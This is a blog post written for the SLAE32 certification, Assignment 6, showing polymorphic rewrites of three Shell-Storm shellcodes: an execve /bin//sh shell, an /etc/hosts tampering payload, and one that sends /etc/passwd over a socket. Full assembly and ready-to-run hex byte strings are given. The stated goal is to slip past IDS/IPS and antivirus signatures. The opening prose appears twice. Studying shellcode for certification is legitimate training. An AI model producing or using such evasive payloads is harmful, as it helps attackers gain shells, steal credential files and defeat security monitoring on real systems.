This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first five (5) parts here:
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
Part 4 - Assignment 4
Part 5 - Assignment 5
The requirements for this assignment are as follows:
Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-6
Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
For this assignment, I chose the following three (3) shellcodes:
http://shell-storm.org/shellcode/files/shellcode-883.php
http://shell-storm.org/shellcode/files/shellcode-893.php
http://shell-storm.org/shellcode/files/shellcode-861.php
Let's break down the first one and how I polymorphed the original code. Remember, one of the requirements is that we couldn't go over 150% of the original size. Here are the polymorphed portions of code. Wherever there was a push onto the stack, I tried to use MOV and SUB instructions to copy values onto the stack and adjust the stack pointer. I also use the SUB, ADD, and DEC instructions to fill the registers with the appropriate values.
The more important questions, does it work, and is it within our requirements? Here is the original shellcode length and the polymorphed version. As you can see, we met all of our requirements. The important thing is that by altering the instructions of those two sections, we've effectively changed the opcodes associated with performing the same functionality.


Our next shellcode, we'll call it number 893, adds an entry to /etc/hosts that points google.com to the loopback address. The polymorphed section can be found below. Essentially, we PUSH five (5) onto the stack, POP it into ECX, copy it into EAX, and then subtract five (5) to zero out ECX. We have also made sure that EAX has the correct value we need for our OPEN system call. Like the previous polymorphed shellcode, we'll use ADD and SUB instructions to change up the opcodes used to perform the same functionality as the original shellcode.
Here are the results of our polymorphed version when compared with the original. The original code is 77 bytes long and our polymorphed version is 98 bytes. It fits within the requirements for size and we've managed to change up the opcodes which should confuse any signature detecting products like IDS/IPS or Antivirus.


Our last shellcode, we'll call 861, is an interesting one and I saved it for last on purpose. This shellcode outputs the contents of the /etc/passwd file over a socket using the open, read, write, and dup2 system calls. In my opinion, this is brilliant. It's different from most shellcode I have seen and is a creative use of system calls. You can view the full version. Below are the sections that I polymorphed. We start by pushing 22, 44, and 45 onto the stack. We'll pop them off into EBX, ECX, and EAX. I then create another label poly_sckt:, and we use this label in a loop. All this loop does is setup EAX, and EBX accordingly so that we can execute our socketcall system call to create a socket. We next alter our shellcode: section and separate out the open, read, and write in order to make the new code more readable. We start by setting up OPEN and a quick check of unistd_32.h we see #define __NR_open 5. We use a PUSH, POP, and ADD to get EAX setup with the correct system call number. A new file descriptor is returned upon successfully opening a file. For the READ system call, we'll pass it the file descriptor from our successful OPEN. We use a MOV instruction to store this into EDX. We perform similar operations to set up READ, and WRITE. For the final EXIT system call, we'll use MOV, and SUB instructions to set up the stack in order to POP the value back into EAX. We'll then use SUB on EAX in order to get the appropriate value of one (1) into EAX for our EXIT system call.
Once again, we need to make sure the polymorphed shellcode is 150% or less in size. And it looks like we once again met this requirement while also changing the signature of the shellcode itself.


This was a really fun challenge. I actually presented on manually polymorphing shellcode by hand to my teammates at work and it went over very well. For those situations where, say, a Metasploit created shellcode gets flagged, we have options for altering the shellcode with the hope it bypasses IDS/IPS or Antivirus signatures.
Next: Part 7 - Assignment 7
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Part 1 - Assignment 1
Part 2 - Assignment 2
Part 3 - Assignment 3
Part 4 - Assignment 4
Part 5 - Assignment 5
The requirements for this assignment are as follows:
- Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Bonus points for making it shorter in length than original
Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-6
Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
For this assignment, I chose the following three (3) shellcodes:
http://shell-storm.org/shellcode/files/shellcode-883.php
http://shell-storm.org/shellcode/files/shellcode-893.php
http://shell-storm.org/shellcode/files/shellcode-861.php
Let's break down the first one and how I polymorphed the original code. Remember, one of the requirements is that we couldn't go over 150% of the original size. Here are the polymorphed portions of code. Wherever there was a push onto the stack, I tried to use MOV and SUB instructions to copy values onto the stack and adjust the stack pointer. I also use the SUB, ADD, and DEC instructions to fill the registers with the appropriate values.
...SNIP...
; socketcall(socket, *args)
; push 0x66
; pop eax
; push 0x1
; pop ebx
; xor edx,edx
; push edx
; push ebx
; push 0x2
; mov ecx,esp
; int 0x80
;poly-socketcall(socket,*args)
xor eax, eax
mov ebx, eax
mov edx, eax
mov al, 0x33
add ebx, 0x6
push ebx
sub ebx, 0x5
push ebx
add ebx, 0x1
push ebx
xor ecx, ecx
mov ecx, esp
dec ebx
add eax, 0x33
int 0x80
...SNIP...
; execve /bin//sh
; mov al,0xb
; inc ecx
; mov edx,ecx
; push edx
; push 0x68732f2f
; push 0x6e69622f
; mov ebx,esp
; int 0x80
; poly-execve /bin//sh
push 0xf
pop eax
push 0x1
pop ecx
sub eax, 0x4
dec ecx
xor edx, edx
mov [esp -4], edx
sub esp, 0x4
push 0x46510d0d
pop ecx
add ecx, 0x22222222
push ecx
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
int 0x80
The more important questions, does it work, and is it within our requirements? Here is the original shellcode length and the polymorphed version. As you can see, we met all of our requirements. The important thing is that by altering the instructions of those two sections, we've effectively changed the opcodes associated with performing the same functionality.


Our next shellcode, we'll call it number 893, adds an entry to /etc/hosts that points google.com to the loopback address. The polymorphed section can be found below. Essentially, we PUSH five (5) onto the stack, POP it into ECX, copy it into EAX, and then subtract five (5) to zero out ECX. We have also made sure that EAX has the correct value we need for our OPEN system call. Like the previous polymorphed shellcode, we'll use ADD and SUB instructions to change up the opcodes used to perform the same functionality as the original shellcode.
_start:
; xor ecx, ecx
; mul ecx
; mov al, 0x5
; push ecx
; push 0x7374736f ;/etc///hosts
; push 0x682f2f2f
; push 0x6374652f
; mov ebx, esp
; mov cx, 0x401 ;permissions
; int 0x80 ;syscall to open file
push 0x5
pop ecx
mov eax, ecx
sub ecx, 0x5
push ecx
push 0x6263625e
pop edx
add edx, 0x11111111
push edx
push 0x682f2f2f
push 0x6374652f
mov edx, esp
xchg ebx, edx
xor edx, edx
mov WORD [esp -4], 0x401
sub esp, 0x4
pop ecx
int 0x80
Here are the results of our polymorphed version when compared with the original. The original code is 77 bytes long and our polymorphed version is 98 bytes. It fits within the requirements for size and we've managed to change up the opcodes which should confuse any signature detecting products like IDS/IPS or Antivirus.


Our last shellcode, we'll call 861, is an interesting one and I saved it for last on purpose. This shellcode outputs the contents of the /etc/passwd file over a socket using the open, read, write, and dup2 system calls. In my opinion, this is brilliant. It's different from most shellcode I have seen and is a creative use of system calls. You can view the full version. Below are the sections that I polymorphed. We start by pushing 22, 44, and 45 onto the stack. We'll pop them off into EBX, ECX, and EAX. I then create another label poly_sckt:, and we use this label in a loop. All this loop does is setup EAX, and EBX accordingly so that we can execute our socketcall system call to create a socket. We next alter our shellcode: section and separate out the open, read, and write in order to make the new code more readable. We start by setting up OPEN and a quick check of unistd_32.h we see #define __NR_open 5. We use a PUSH, POP, and ADD to get EAX setup with the correct system call number. A new file descriptor is returned upon successfully opening a file. For the READ system call, we'll pass it the file descriptor from our successful OPEN. We use a MOV instruction to store this into EDX. We perform similar operations to set up READ, and WRITE. For the final EXIT system call, we'll use MOV, and SUB instructions to set up the stack in order to POP the value back into EAX. We'll then use SUB on EAX in order to get the appropriate value of one (1) into EAX for our EXIT system call.
section .text
global _start
_start:
; socket
; push BYTE 0x66 ; socketcall 102
; pop eax
; xor ebx, ebx
; inc ebx
; xor edx, edx
; push edx
; push BYTE 0x1
; push BYTE 0x2
; mov ecx, esp
; int 0x80
; mov esi, eax
;socket
push BYTE 0x22
push BYTE 0x44
push BYTE 0x45
pop ebx
pop ecx
pop eax
poly_sckt:
inc eax
dec ebx
loop poly_sckt
mov edx, ecx
add edx, 0x6
push edx
inc ecx
push ecx
inc ecx
push ecx
mov ecx, esp
int 0x80
mov esi, eax
...SNIP...
;read the file
jmp short call_shellcode
;shellcode:
; push 0x5
; pop eax
; pop ebx
; xor ecx,ecx
; int 0x80
; mov ebx,eax
; mov al,0x3
; mov edi,esp
; mov ecx,edi
; xor edx,edx
; mov dh,0xff
; mov dl,0xff
; int 0x80
; mov edx,eax
; push 0x4
; pop eax
; mov bl, 0x1
; int 0x80
; push 0x1
; pop eax
; inc ebx
; int 0x80
poly_shellcode:
; open
push 0x1
pop eax
add eax, 0x4
pop ebx
push BYTE 0x5
pop ecx
sub ecx, 0x5
int 0x80
; read
push eax
pop ebx
push BYTE 0x3
pop eax
mov ecx, esp
xor edx,edx
mov dh,0xff
mov dl,0xff
int 0x80
; write
mov edx,eax
push BYTE 0x1
pop eax
add eax, 0x3
push BYTE 0x1
pop ebx
int 0x80
; exit
mov BYTE [esp -4], 0x5
sub esp, 0x4
pop eax
sub eax, 0x4
inc ebx
int 0x80
call_shellcode:
; call shellcode
; message db "/etc/passwd"
call poly_shellcode
message: db "/etc/passwd"
Once again, we need to make sure the polymorphed shellcode is 150% or less in size. And it looks like we once again met this requirement while also changing the signature of the shellcode itself.

"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02"
"\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01"
"\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f"
"\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89"
"\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff"
"\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01"
"\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63"
"\x2f\x70\x61\x73\x73\x77\x64"

"\x6a\x22\x6a\x44\x6a\x45\x5b\x59\x58\x40\x4b\xe2\xfc"
"\x89\xca\x83\xc2\x06\x52\x41\x51\x41\x51\x89\xe1\xcd"
"\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66"
"\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1"
"\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb"
"\x3a\x6a\x01\x58\x83\xc0\x04\x5b\x6a\x05\x59\x83\xe9"
"\x05\xcd\x80\x50\x5b\x6a\x03\x58\x89\xe1\x31\xd2\xb6"
"\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x01\x58\x83\xc0\x03"
"\x6a\x01\x5b\xcd\x80\xc6\x44\x24\xfc\x05\x83\xec\x04"
"\x58\x83\xe8\x04\x43\xcd\x80\xe8\xc1\xff\xff\xff\x2f"
"\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
This was a really fun challenge. I actually presented on manually polymorphing shellcode by hand to my teammates at work and it went over very well. For those situations where, say, a Metasploit created shellcode gets flagged, we have options for altering the shellcode with the hope it bypasses IDS/IPS or Antivirus signatures.
Next: Part 7 - Assignment 7
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.